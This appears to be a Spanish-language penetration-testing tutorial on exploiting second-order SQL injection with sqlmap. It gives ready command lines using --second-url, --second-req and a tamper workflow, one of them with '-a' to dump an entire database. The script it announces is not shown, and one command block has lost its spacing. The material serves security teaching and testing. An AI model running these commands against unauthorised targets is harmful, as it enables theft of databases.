SQLMap puede explotar SQLis de segundo orden.
Necesitas proporcionar:
La solicitud donde la carga útil de sqlinjection se va a guardar
La solicitud donde la carga útil será ejecutada
La solicitud donde se guarda la carga útil de inyección SQL está indicada como en cualquier otra inyección en sqlmap. La solicitud donde sqlmap puede leer la salida/ejecución de la inyección se puede indicar con --second-url o con --second-req si necesitas indicar una solicitud completa desde un archivo.
Ejemplo simple de segundo orden:
#Get the SQL payload execution with a GET to a urlsqlmap-rlogin.txt-pusername--second-url"http://10.10.10.10/details.php"#Get the SQL payload execution sending a custom request from a filesqlmap-rlogin.txt-pusername--second-reqdetails.txt
En varios casos esto no será suficiente porque necesitarás realizar otras acciones además de enviar la carga útil y acceder a una página diferente.
Cuando esto sea necesario, puedes usar un sqlmap tamper. Por ejemplo, el siguiente script registrará un nuevo usuario usando la carga útil de sqlmap como correo electrónico y cerrará sesión.
Un tamper de SQLMap siempre se ejecuta antes de comenzar un intento de inyección con un payloady tiene que devolver un payload. En este caso, no nos importa el payload, pero nos importa enviar algunas solicitudes, por lo que el payload no se cambia.
Entonces, si por alguna razón necesitamos un flujo más complejo para explotar la inyección SQL de segundo orden como:
Crear una cuenta con el payload de SQLi dentro del campo "email"
Cerrar sesión
Iniciar sesión con esa cuenta (login.txt)
Enviar una solicitud para ejecutar la inyección SQL (second.txt)
Esta línea de sqlmap ayudará:
sqlmap --tamper tamper.py -r login.txt -p email --second-req second.txt --proxy http://127.0.0.1:8080 --prefix "a2344r3F'" --technique=U --dbms mysql --union-char "DTEC" -a
########### --tamper tamper.py : Indicates the tamper to execute before trying each SQLipayload# -r login.txt : Indicates the request to send the SQLi payload# -p email : Focus on email parameter (you can do this with an "email=*" inside login.txt# --second-req second.txt : Request to send to execute the SQLi and get the ouput# --proxy http://127.0.0.1:8080 : Use this proxy# --technique=U : Help sqlmap indicating the technique to use# --dbms mysql : Help sqlmap indicating the dbms# --prefix "a2344r3F'" : Help sqlmap detecting the injection indicating the prefix# --union-char "DTEC" : Help sqlmap indicating a different union-char so it can identify the vuln# -a : Dump all